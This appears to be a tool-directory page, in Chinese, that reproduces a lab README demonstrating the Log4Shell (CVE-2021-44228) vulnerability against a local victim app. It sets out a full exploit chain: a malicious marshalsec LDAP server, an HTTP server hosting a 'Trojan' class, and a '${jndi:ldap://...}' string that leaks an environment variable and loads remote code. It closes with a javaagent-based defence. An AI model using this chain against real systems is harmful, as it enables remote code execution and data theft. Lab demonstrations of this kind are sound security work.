Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
log4shell-test-exploit — Test exploit of CVE-2021-44228 | Kitploit
工具/GitHubGitHub/wajda/log4shell-test-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHubwajda/log4shell-test-exploit

log4shell-test-exploit

Test exploit of CVE-2021-44228

查看仓库
14年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-44228 (log4shell) 漏洞测试利用

准备工作

root@kitploit:~
# 安装 Nodejs HTTP 服务器
npm -g i http-server

# 构建受害应用
cd victim-app
mvn install

# 编译木马
cd test-trojan
javac Trojan.java

# 构建 marshalsec(需要 Java 8)
git clone [email protected]:mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

# 构建 log4j-jndi-be-gone
git clone [email protected]:wajda/log4j-jndi-be-gone.git
cd log4j-jndi-be-gone
git checkout shading-support
./gradlew

启动托管木马载荷的 HTTP 服务器

root@kitploit:~
cd test-trojan
http-server .

启动恶意 LDAP 服务器

参见 https://github.com/mbechler/marshalsec

root@kitploit:~
cd marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Trojan"

监控利用事件(可选)

适用于标准错误输出被隐藏的情况

root@kitploit:~
watch -d -n 1 'ls -la /tmp/ | grep -i log4shell-BUSTED'

漏洞利用

说明

受害应用通过存在漏洞的 log4j2 库(版本 2.14.1)记录以下字符串

root@kitploit:~
log.error("${jndi:ldap://127.0.0.1:1389/a/${env:USER}}");

同时执行两种攻击向量:

  1. 嗅探环境变量(本例中为 $USER),可在 marshalsec LDAP 服务器的输出中查看
root@kitploit:~
Send LDAP reference result for a/<VICTIM_USER_NAME> redirecting to http://127.0.0.1:8080/Trojan.class
  1. 下载并执行恶意代码,该代码将消息 !!! BUSTED !!! 记录到受害应用的标准错误流, 并在 /tmp/ 下创建一个名为 log4shell-BUSTED-* 的空文件。
    要使此攻击生效,受害服务器必须启用以下 JVM 选项:
root@kitploit:~
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
执行
root@kitploit:~
cd victim-app

# ... 在控制台应用中
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

# ... 在 Web 应用中(Tomcat 上)
cp web/target/log4j2-victim-webapp-1.0-SNAPSHOT.war $TOMCAT_HOME/webapps
curl http://localhost:$TOMCAT_HTTP_PORT/log4j2-victim-webapp-1.0-SNAPSHOT/

防御

参见:https://github.com/wajda/log4j-jndi-be-gone/tree/shading-support

root@kitploit:~
java -javaagent:log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=classSigDetection=enabled -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

系统级防御

将所有 java 二进制文件替换为以下脚本:

java.guarded

root@kitploit:~
#!/bin/bash
$(dirname "$0")/java.original "-javaagent:/path/to/log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=logDir=/tmp,classSigDetection=enabled" "$@"

示例:

root@kitploit:~
 cd $(dirname $(which java))
 sudo su
 mv java java.original
 cp java.guarded java
下载工具